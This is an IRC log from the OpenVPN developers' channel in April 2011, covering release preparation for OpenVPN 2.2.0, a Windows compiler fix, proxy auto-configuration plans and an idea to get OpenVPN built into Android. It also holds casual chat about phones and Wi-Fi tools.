04:48 <@d12fk> 3) try auto-config as a last resort 04:49 <@d12fk> all that is the the http-proxy "auto" flag is set only of course 04:49 <@d12fk> objections? 05:09 <@cron2> sounds reasonable 05:33 <@mattock> d12fk: what does auto-proxy do at the moment? 05:36 <@d12fk> mattock: currently it only looks at the static IE settings (the IE4 way) 05:36 <@mattock> oh yes, now I recall 05:36 <@d12fk> so, auto config doesn't work atm 05:36 <@mattock> the _really_ old way 05:37 <@d12fk> I'll be using WinHTTP instead of WinINet, which is newer and more complete 05:53 <@mattock> sounds good! 07:51 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 08:12 -!- d12fk [~heiko@port-92-198-130-130.static.qsc.de] has quit [Read error: Operation timed out] 09:17 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:51 -!- mattock [~mattock@gprs-internet-ff10f000-110.dhcp.inet.fi] has joined #openvpn-devel 09:54 < mattock> do we need a meeting today? 10:01 <+krzee> im waiting to hear back from a friend 10:01 <+krzee> how many hours til scheduled meeting time? 10:02 <+krzee> i have a friend who made some crazy mods to openvpn, i want him to talk to us about them (he does unix admin for a big casino in vegas) 10:02 <+krzee> but i dont know if he'll make it today, im guessing he wont 10:02 <+krzee> they keep him pretty busy 10:03 < mattock> krzee: it's in 3 hours 10:03 <+krzee> but before he could share back the code he would have to change something, because he used some encryption technology patented by his company 10:04 <+krzee> but it didnt sound like that was too big of a deal 10:04 < mattock> I'm on the road myself at that time, but this N900 is a pretty powerful - even does IRC :) 10:05 <+krzee> hell that thing can crack WEP 10:06 < mattock> yep, aircrack is in the repos 10:06 <+krzee> most get aircrack 10:06 <+krzee> thats easy 10:06 <+krzee> but it can actually go into passive monitor mode and still reinject packets 10:06 < mattock> oh, cool 10:06 <+krzee> its the only phone that they have that kind of raw access to the wifi adapter to my knowledge 10:07 <+krzee> even the iphone can run 'aircrack-ng' 10:07 <+krzee> but YOU get to run airodump-ng and aireplay-ng 10:07 < mattock> the wifi chipset has oss drivers in the kernel 10:07 <+krzee> thats the big deal =] 10:08 <+krzee> oss or not, unless it has one of the few chipsets where they can reinject, you get no love 10:08 < mattock> haven't tried those, but I was planning on making this a wifi accesspoint occasionally 10:08 <+krzee> thats like atheros, ralink, rausb, and i *think* some broadcrap 10:08 <+krzee> and a couple others 10:08 < mattock> with mobilehotspot 10:09 <+krzee> ahh ya i do that with my androids 10:09 <+krzee> wifitether 10:09 < mattock> is android any good? and which models are best? 10:09 <+krzee> i LOVE it 10:09 < mattock> my fiancee is planning on milking her company for a new phone 10:10 <+krzee> well if you can use a sprint phone (not likely, but hey) the EVO is the best 10:10 < mattock> options are android or n900 10:10 <+krzee> i WISH i could get one, but no sprint here 10:10 <+krzee> personally i have a htc liberty and a htc magic 10:10 <+krzee> the liberty is nice 10:10 < mattock> we don't have many locked phones here, any carrier/phone combo will do 10:10 <+krzee> but you cant fully hack it yet 10:10 <+krzee> well sprint doesnt use a sim 10:11 <+krzee> so thats not true ;] 10:11 <+krzee> if you could use a sim on the EVO i would have one 10:11 < mattock> oh 10:11 < mattock> what's the battery life on htc liberty? 10:12 <+krzee> a few hours of angry birds 10:12 <+krzee> not sure about talk time and whatnot since i cant root it yet 10:12 <+krzee> i just carry it around for angry birds and a camera until i can root it 10:12 <+krzee> i use the magic as my phone for now 10:12 < mattock> lol :) 10:12 <+krzee> no openvpn = no phone 10:12 <+krzee> lol 10:13 <+krzee> but actually i met a guy in the XDA community who can fully unlock everything (give me dev hboot) so i can root it 10:13 <+krzee> its already carrier unlocked 10:13 <+krzee> theres a device that works for htc phones to crack ANY phone 10:13 < mattock> hmm, i should probably setup openvpn this n900 10:14 < mattock> I'll try it now 10:15 <+krzee> if theres anything to it lemme know and we can tell vpnHelper about it 10:16 < mattock> ok 10:43 < mattock> seems to be working, neat 10:43 <+krzee> hah sounds easy 10:43 <+krzee> 30min from "ill try" to "neat" 10:44 < mattock> yeah, just like configuring a PC 10:44 <+krzee> sweet 10:44 <+krzee> iphone and android are less easy 10:44 <+krzee> must be part of the reason ive never seen people on IRC asking for n900 help 10:44 <+krzee> lol 10:45 < mattock> and with spotty GPRS/3g connection and small keyboard ;) 10:47 < mattock> I think I'll write a mini-howto to the wiki nevertheless 10:47 <+krzee> might as well! 10:47 < mattock> be back later 10:47 <+krzee> cool 10:52 -!- mattock [~mattock@gprs-internet-ff10f000-110.dhcp.inet.fi] has quit [Ping timeout: 240 seconds] 11:34 -!- andj_afk is now known as andj 11:54 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:54 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:19 -!- mattock [~mattock@gprs-prointernet-ff126a00-96.dhcp.inet.fi] has joined #openvpn-devel 12:34 -!- dazo_afk is now known as dazo 12:36 <@dazo> mattock: new build slave ... I'd say RHEL or Scientific Linux ... even though CentOS might be better in the longer run, but I have lost faith in CentOS - latest statement from the CentOS developers was: "CentOS is built *for* the community, *not by* the community" 12:37 <@dazo> I'm not sure if version 5 or 6 would be most beneficial though 12:38 * dazo curses microsoft's C compiler once again when he looks at the build failures 12:41 < mattock> dazo: interesting approach for an open source oss project... 12:41 <@raidz> mattock: around? 12:42 < mattock> raidz: yep 12:42 <@raidz> wait till Tuesday 12:42 <@raidz> pm? 12:42 < mattock> ok 12:42 < mattock> just a sec, switching to laptop 12:43 -!- mattock [~mattock@gprs-prointernet-ff126a00-96.dhcp.inet.fi] has quit [Quit: Leaving] 12:44 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:44 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:44 <@dazo> krzee: OpenVPN on N900 is dead easy ... you have two packages, the trad. command line package (which you need anyway) and an optional gui package ... the gui package scans /etc/openvpn/*.conf ... place config files there ... and you're just a click away ... all packages in standard repos 12:45 <+krzee> pretty sweet 12:45 <+krzee> sounds like they have the best mobile compat for ovpn then 12:46 <@dazo> it probably helps that the tun kernel module is default in maemo5 :) 12:46 <+krzee> android comes with gotchyas (tun / busybox / etc) and iphone is a fugly hack to even get tun 12:46 <+krzee> i dont get why tun isnt default in android too 12:47 <@dazo> Today I actually considered to get a second hand andriod, just to hack on .... but I realised the second hand prices was not so ideal 12:47 <+krzee> i mean its minimal size 12:47 <@dazo> dunno ... google politics? 12:47 <@dazo> or the typical "due to marked reasons" 12:48 <+krzee> well and i guess it couldnt be useful without root 12:48 <+krzee> thats prolly a big reason 12:49 <@dazo> yeah, even though it is possible to grant non-root users access to such devices, with some clever hacking 12:49 <+krzee> right, but i dont see them going out of their way to help that 12:49 <@dazo> (I don't think such hacking would be an issue for Google ... than andriod kernel is quite different with additional patches to the Linux kernel already ... so different that to rebase the kernel was a big issue for them) 12:50 * dazo wonders why his fingers typed 'than' when he wanted to write 'the' ..... 12:51 <+krzee> if ANYONE would add openvpn to default install it would be android or maemo 12:51 <+krzee> since they already must include tons of gpl sources 12:51 <@dazo> yupp! maybe webOS too 12:52 <+krzee> would be pretty cool to contact devs and see if they would have any interest in it 12:52 <+krzee> it could possibly just take a suggestion 12:52 <@dazo> agreed ... and if OpenVPN Tech. does that contact formally .... 12:52 <+krzee> (and maybe a pointer twords the hackery needed) 12:52 <+krzee> exactly what i was thinking =] 12:53 <+krzee> lets run that by them in the meeting 12:53 <+krzee> which should be in a few minutes =] 12:53 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 12:54 <@dazo> heh, yeah :) 12:55 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:55 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:55 <@mattock> did anybody respond to my "do we need a meeting today" query, btw? 12:56 <@mattock> maybe a semi-official one? 12:56 <@dazo> mattock: don't know ... I'm here because I thought it could be good :) 12:56 <@mattock> yep, me too 12:56 <@mattock> I think we should postpone release until Tuesday, btw 12:56 <@dazo> agreed 12:57 <@mattock> people may not be available tomorrow 12:57 <@mattock> how is the patch moving along? 12:57 <@mattock> openvpn_snprintf 12:57 <@dazo> I'm on the way to log into the win-build box 12:57 <@dazo> to look at that crap 12:57 <@mattock> I've noticed you've started to "warm up" for the Visual Studio C compiler :D 12:58 <@dazo> I really begin to deeply hate that compiler and even more the guys who found it decided "yeah! Our own standard for the compiler, that's a good idea!!!" 12:58 <@mattock> I bet older versions are much worse, though 12:59 <@mattock> if it's development follows the normal MS process (e.g. IE1->IE9) 12:59 <@dazo> it seems microshi^H^Hoft have understood the pointless strategy to try to be unique 12:59 <@mattock> hope so 13:00 <@dazo> just a quick test ... can you try to change this line: 13:00 <@dazo> int openvpn_snprintf(char *str, size_t size, const char *format, ...) 13:00 <@dazo> to: 13:00 <@dazo> int openvpn_snprintf(char *str, ssize_t size, const char *format, ...) 13:00 <@dazo> ? 13:01 <@dazo> size_t -> ssize_t 13:01 <@dazo> gah 13:01 <@dazo> nope, that won't help 13:02 <@dazo> I see the issue now, we're bitten by the mysprintf() definition this time 13:03 <@dazo> it might maybe not be VS' fault 13:03 <@dazo> *grmbl* 13:03 <@mattock> dazo: my connection is not good enough for rdesktop 13:03 <@dazo> okay, no worries ... I'll get in then :) 13:03 * dazo finds the login info :) 13:03 <@mattock> too unstable (in a car, going 80km/h) 13:03 <@mattock> in the middle of nowhere :) 13:07 <@dazo> I hope you are not the one driving as well ;-) 13:12 <@mattock> nope ;) 13:19 * dazo compiles now 13:21 <@dazo> \o/i it got built 13:22 <@dazo> I'll submit the patch to the mailing list now ... and we'll see how quickly we get it approved 13:22 <@mattock> excellent! 13:23 <@mattock> dazo: do you think it'd need more testing, or is "it compiles" enough? 13:24 <@dazo> I dunno :) ... I didn't try to run it, because I have no idea how it really should be used 13:24 <@dazo> but the code shouldn't really be changed that much 13:33 <@mattock> maybe jamesyonan could take a look and give the patch an ACK? 13:34 * krzee notes that his client is on irc 13:34 <@dazo> that'd be great ... I'm writing the commit message now, so it'll go to the list shortly 13:34 <@dazo> krzee: get him over here 13:35 <+krzee> i mean james, he is here 13:35 <@dazo> ahh :) 13:35 <+krzee> my buddy has 11 hours idle, so i dont think he's making it 13:35 <+krzee> he told me he didnt know cause work keeps him too busy 13:36 <@dazo> ahh, okay :) 13:36 <+krzee> he mainly had time to tell me about it because he called in sick since he was overworked, lol 13:37 <+krzee> maybe i can get him in at *any* time to talk about it, and we can discuss anything about it in a meeting if we care 13:37 <+krzee> hes always in my private channel on efnet, so im a good go-between even if he stays too busy 13:38 <@dazo> yeah, sound god 13:40 <+krzee> are we between subjects? 13:40 <@dazo> kind of, probably :) 13:41 <+krzee> if so ild like to bring up the idea of contacting android/maemo devs 13:41 <@dazo> I'm sending a patch to the ml right now 13:41 <+krzee> mattock, 13:41 <@dazo> mattock: ^^ see krzee idea 13:41 <+krzee> [10:51] <krzee> if ANYONE would add openvpn to default install it would be android or maemo 13:41 <+krzee> [10:51] <krzee> since they already must include tons of gpl sources 13:41 <+krzee> [10:51] <dazo> yupp! maybe webOS too 13:41 <+krzee> [10:52] <krzee> would be pretty cool to contact devs and see if they would have any interest in it 13:41 <+krzee> [10:52] <krzee> it could possibly just take a suggestion 13:41 <+krzee> [10:52] <krzee> (and maybe a pointer twords the hackery needed) 13:41 -!- krzee was kicked from #openvpn-devel by vpnHelper [Flooding detected. Please use http://openvpn.pastebin.ca for posting logs or configs.] 13:41 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 13:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:41 <+krzee> lol 13:41 <@dazo> lol 13:41 <@mattock> yep 13:41 <+krzee> did i make it to: [10:52] <krzee> exactly what i was thinking =] 13:41 <+krzee> ? 13:41 <@mattock> oh, just a sec 13:42 <@dazo> krzee: nope ... but I think mattock got the idea by now 13:42 <@dazo> mattock: what if we get francis to follow up on that ... would that be a good idea? 13:43 <+krzee> http://pastebin.com/7GLc5rEu 13:43 <+krzee> imho, francis may not be the best person to send in 13:43 <@mattock> krzee, dazo: I think contacting the devs is an excellent idea 13:43 <@mattock> I can discuss this with Francis also 13:44 <@dazo> It would probably add some weight if an official openvpn tech person contacts Android people 13:44 <@mattock> any idea how closed Android development is? 13:44 <+krzee> he would need to say yes, but i would think mattock or raidz would be a better choice for who to talk to 13:44 <@dazo> for maemo/MeeGo, I don't think it's needed ... it's already there .... but webOS migh be another good one 13:44 <+krzee> dazo, im thinking of it being built into the OS 13:44 <@dazo> mattock: I don't know .... it's semi-open 13:45 <+krzee> as opposed to a 3rd party package 13:45 <@mattock> I'll do some research while I still got battery 13:45 <+krzee> more like pptp and ipsec support is 13:45 <@dazo> krzee: well, for maemo pptp/ipsec is even worse supported on maemo5 ... not sure about MeeGo 13:46 <@dazo> (there's the vpnc cisco client, with the same build-up as openvpn on maemo5, that's the closest) 13:49 <@dazo> jamesyonan: do you have time to have a look at this patch? and ACK it if you agree ... http://thread.gmane.org/gmane.network.openvpn.devel/4621 13:49 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:49 <@jamesyonan> looking at it now... 13:49 <@dazo> thx! 13:50 <+krzee> dazo, ahh then i guess its as good as it gets in maemo 13:51 <@dazo> yeah, maemo is very much community oriented ... I don't recall 100% now, but I believe the community repo was enabled by default on the phone when I got it 13:51 <@jamesyonan> dazo: sure, looks fine 13:51 <@dazo> jamesyonan: thx! 13:51 <+krzee> ild like to see it in the normal vpn section in android at least... since they already support ipsec/pptp there and they already include a ton of gpl sources that is no problem (like it would be in iphone/osx/win/windows mobile) 13:52 <+krzee> and as you mentioned the hackery needed wouldnt be a big deal for android devs 13:53 <@dazo> agreed .... on android, that would be a good thing 13:55 <@mattock> I'll try to find the correct Android people to talk to 13:55 <+krzee> lemme see if my buddy is still @ google 13:55 <@mattock> krzee: ok 13:56 <+krzee> (but keep looking, pretend i didnt say that) 13:56 <@mattock> dazo: did you add a mention to buffer.c that the same function is used in openvpnserv.c? 13:56 <@vpnHelper> RSS Update - testtrac: Improve the mysprintf() issue in openvpnserv.c <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=df5a4380c3931520d5fae2b18f0fc2e67a883aae> 13:56 <@mattock> or just the other way around? 13:57 <@dazo> mattock: nope, not in buffer.c, just on openvpnserv.c 13:57 <@mattock> I would add a comment to buffer.c, too 13:58 <@mattock> so that if somebody edits it, he/she knows to edit openvpnserv.c, too 13:59 <@dazo> yeah, the patch is already pushed, so that has to be a second patch on top 14:00 <@mattock> maybe a silent one, no need to ACK if all is in comments 14:01 <@dazo> I can do that 14:05 <@dazo> done 14:05 <@dazo> mattock: are we then ready to tag the git tree? 14:05 <@mattock> I think so 14:07 <@dazo> I see there are two more man page patches ... I'll squeeze them in too 14:08 <@mattock> yep, I noticed a few of those 14:09 <@vpnHelper> RSS Update - testtrac: Add a simple comment regarding openvpn_snprintf() is duplicated <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=14708eb69e377ae7edcbbdbd2842bcfbc43fb84a> 14:13 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 258 seconds] 14:15 <@vpnHelper> RSS Update - testtrac: Update man page with info about --connect-timeout <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=285252d1a189c331becde940d948d7ca1fe778fd> || Update man page with info about --capath <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=b63ecceb8b9bc3215866ae622bbd013d029d0b69> 14:29 * krzee pets vpnHelper 14:42 -!- mattock [~mattock@gprs-internet-ff63ee00-241.dhcp.inet.fi] has joined #openvpn-devel 14:43 <@vpnHelper> RSS Update - tickets: #123: documented option: --show-proxy-settings <https://community.openvpn.net/openvpn/ticket/123> 14:46 -!- lampliter [~chatzilla@c-76-19-126-1.hsd1.ma.comcast.net] has joined #openvpn-devel 14:46 -!- lampliter [~chatzilla@c-76-19-126-1.hsd1.ma.comcast.net] has left #openvpn-devel [] 14:54 -!- mattock [~mattock@gprs-internet-ff63ee00-241.dhcp.inet.fi] has quit [Ping timeout: 250 seconds] 14:55 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:55 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:58 <@dazo> mattock: you got mail :) 14:58 <@mattock> dazo: me read 14:59 <+krzee> heres a valid thought... 14:59 <+krzee> [12:55] <lampliter> C:\Program Files (x86)\OpenVPN>"C:\Program Files (x86)\OpenVPN\bin\tapinstall.ex e" install "C:\Program Files (x86)\OpenVPN\driver\OemWin2k.inf" tap0901;; tapinstall.exe failed. 14:59 <+krzee> [12:58] <lampliter> I was feeling rather frustrated because the error did not lead me in the right direction (i.e. required privilege level mismatch was not detected and reported) 15:00 <+krzee> it is common for win7 users to mess up and forget "run as" is there a way to sense if privs are there and give a warning or something of that sort (in openvpn and things like tapinstall.exe? 15:00 <+krzee> ) 15:00 <@mattock> jamesyonan: I'll mail you links to openvpn 2.2.0 release tarballs... whenever you have time please GPG-sign them 15:01 <@mattock> krzee: interesting that on my Win7 64-bit test box I don't have to raise the privileges during install 15:01 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:02 <+krzee> right, he was manually running tapinstall 15:02 <@mattock> actually, the manifest file (embedded or external) determines the required execution level 15:02 <@mattock> that could probably be fixed by embedding a correct manifest into tapinstall.exe 15:02 <@mattock> probably a good practice 15:03 <@mattock> the build system already has code to embed manifests to DLLs and EXEs automatically, so this would be a relatively easy fix 15:04 <+krzee> cool =] should i add it to the wishlist or consider it already added? 15:04 <@mattock> I'll add it to my todo, so no need for a wishlist item 15:04 <+krzee> thanx 15:09 <@mattock> done 15:09 <@mattock> jamesyonan: I see the mail went to you already :) 15:17 <@mattock> I'll prepare the 2.2 packages and such tomorrow 15:22 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 15:27 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has quit [Quit: leaving] 15:27 -!- Dark-Fx [~bamcpher@dark-fx.com] has joined #openvpn-devel 15:58 <@vpnHelper> RSS Update - tickets: #124: documented option: --x509-username-field <https://community.openvpn.net/openvpn/ticket/124> 16:12 <@dazo> pity ... ticket #124 came just a few hours late 16:12 * dazo closes for today 16:13 -!- dazo is now known as dazo_afk 16:14 <@cron2> oh, we had a meeting 16:19 -!- andj is now known as andj_afk 16:27 -!- Dark-Fx [~bamcpher@dark-fx.com] has quit [Read error: Operation timed out] 16:29 -!- Dark-Fx [~bamcpher@dark-fx.com] has joined #openvpn-devel 17:17 <+krzie> someone please paste this to mattock when he re-joins: my friend says he knows a bunch of the android devs, he no longer works at google (is at facebook now) but he has the contacts, his email is apansari@fb.com 17:17 <+krzie> just mention you're krzee's friend 20:00 -!- andj_afk is now known as andj 23:54 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 240 seconds] 23:58 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 23:58 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ --- Day changed Fri Apr 22 2011 02:02 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:08 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:08 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:03 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 07:29 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:29 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:34 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 09:48 <+ecrist> ping dazo 09:49 <+ecrist> or mattock 10:19 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:19 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:25 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:02 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 263 seconds] 11:16 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:16 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:34 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:35 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:03 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 13:38 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:38 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:54 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:04 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 19:20 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 276 seconds] --- Day changed Sat Apr 23 2011 00:22 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 00:22 -!- mode/#openvpn-devel [+o raidz] by ChanServ 00:43 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:27 <@cron2> dazo: how's your time planning this weekend? 02:57 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 03:22 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:51 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:51 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:21 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 11:21 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:39 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:39 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:11 <@cron2> someone here who understands git? 16:03 -!- andj is now known as andj_afk 16:18 * cron2 tries to do a diff from a given branch ("where I am now") vs. 2.2-RC2 16:19 <@cron2> (generate IPv6 payload patch for people that don't use git) 16:27 <+krzee> cron2, dazo would be my #1 suspect, followed by mattock 16:27 <+krzee> unfortunately, thats all the help i could give on that 16:27 <+krzee> (aka, telling you what you already know ;] ) 16:40 <+ecrist> !snapshot 16:40 <@vpnHelper> "snapshot" is See !snapshots 16:40 <+ecrist> !snapshots 16:40 <@vpnHelper> "snapshots" is (#1) weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn, or (#2) Weekly snapshots: ftp://ftp.secure-computing.net/pub/openvpn or ftp://ftp2.secure-computing.net/pub/openvpn 16:40 <+ecrist> krzee: btw, if you didn't know, this chan and the main share a factoids DB 16:44 <+krzee> ahh cool 16:45 <+krzee> i didnt know, i thought they did not, thanx for the heads up 16:45 <+ecrist> it's just a symlink on butters 17:42 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] --- Day changed Sun Apr 24 2011 01:27 -!- andj_afk is now known as andj 02:14 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:15 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:15 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 02:31 -!- andj is now known as andj_afk 02:38 -!- andj_afk is now known as andj 02:51 <@cron2> *grumble* 02:52 <@cron2> I have now nicely rebased my ipv6_payload patch to "master", and can't generate a clean diff vs. 2.2-RC, because "master" already has other changes coming from bugfix2.1 03:12 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:21 <@cron2> *rebasing again* 07:14 -!- andj is now known as andj_afk 08:57 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:57 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:48 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:48 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:14 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 17:14 -!- andj_afk is now known as andj 17:40 -!- andj is now known as andj_afk 19:35 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 276 seconds] --- Day changed Mon Apr 25 2011 00:23 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 00:23 -!- mode/#openvpn-devel [+o raidz] by ChanServ 01:53 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:53 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:06 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 240 seconds] 02:16 -!- andj_afk is now known as andj 02:37 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 03:02 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:02 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:18 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 03:35 -!- andj is now known as andj_afk 03:49 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 06:29 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:29 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:13 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 09:56 -!- andj_afk is now known as andj 10:14 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:14 -!- mode/#openvpn-devel [+v krzie] by ChanServ 10:20 <@vpnHelper> RSS Update - testtrac: Merge branch 'feat_ipv6_payload' <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=c5f7d08b8c3d4287dd40bbdf52525add8f5cee20> || Merge branch 'feat_ipv6_transport' <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=dcf4bcc2d95faac5d7c4844ca841359526601c69> || rebased to 2.2RC2 (beta 2.2 branch) <http://openvpn.git.sourceforge.n 10:34 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:53 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:53 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:26 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 13:30 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:38 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:19 <@cron2> oh, wow 16:10 -!- andj is now known as andj_afk 23:54 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 252 seconds] --- Day changed Tue Apr 26 2011 00:05 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 00:40 -!- andj_afk is now known as andj 00:54 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:54 -!- mode/#openvpn-devel [+o mattock] by ChanServ 00:55 -!- andj is now known as andj_afk 02:56 -!- dazo_afk is now known as dazo 02:59 <@cron2> dazo: welcome back to the world of IRC! 02:59 <@dazo> thx! 03:04 * dazo now tries to figure out what to do with the allmerged branch 03:04 <@dazo> allmerged == master now, in reality 03:04 <@dazo> the only thing which is not merged in anywhere is the feat_pass_tos and feat_vlan_tagging branches 03:37 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:12 <@dazo> mattock: how's things going in regards to a release? 04:13 <@dazo> is it ready for me to tag and publish? 04:13 <@dazo> I should probably prepare the openvpn.git tree too 04:13 <@mattock> dazo: everything set except for the Windows build, I'll try that now 04:13 <@mattock> and signatures, of course 04:13 <@dazo> yeah :) 04:14 <@mattock> build vm up, goodie :) 04:20 <@mattock> building 04:22 <@dazo> mattock: just a silly question ... that's from the tarballs I made last week? 04:22 <@mattock> yes 04:22 <@dazo> thx! :) Then I'm calm 04:29 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 04:29 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 04:29 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:29 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:29 <@dazo> janjust: will you be around a little bit today? 04:29 <+janjust> whoa! I just got in , dude 04:30 <+janjust> and yes I'll be around 04:30 <@dazo> janjust: we're about to wrap up the final 2.2 release .... mattock is building the windows version now ... so it would be good to have it tested by some proved testers ;-) 04:30 <+janjust> that rules me out :P 04:30 <@dazo> haha ... ;-) 04:30 * dazo objects! 04:31 <+janjust> but I should have some time to run a few tests 04:31 <@dazo> it's mainly to be sure we're not going to publicly embarrass us too much ;-) 04:33 * janjust is very good at publicly embarrasing others ;-) 04:33 <@dazo> hehe :) 04:34 <@mattock> http://build.openvpn.net/downloads/releases/openvpn-2.2.0-install.exe 04:35 <@mattock> not tested yet 04:38 * dazo smoketests it in WINE 04:41 <@dazo> mattock: quick testing in wine looks fine 04:41 <@mattock> win7 64-bit passed 04:43 <@mattock> hmm, WinXP sure is not stable... my own WinXP test VM was borked 04:43 <@mattock> and old build comp was down quite often 04:46 <@dazo> yeah, winxp is aging 04:47 <@dazo> mattock: I just pushed out the master branch to the new git repository ... I'll wait pushing more there for now 04:49 <@mattock> dazo: 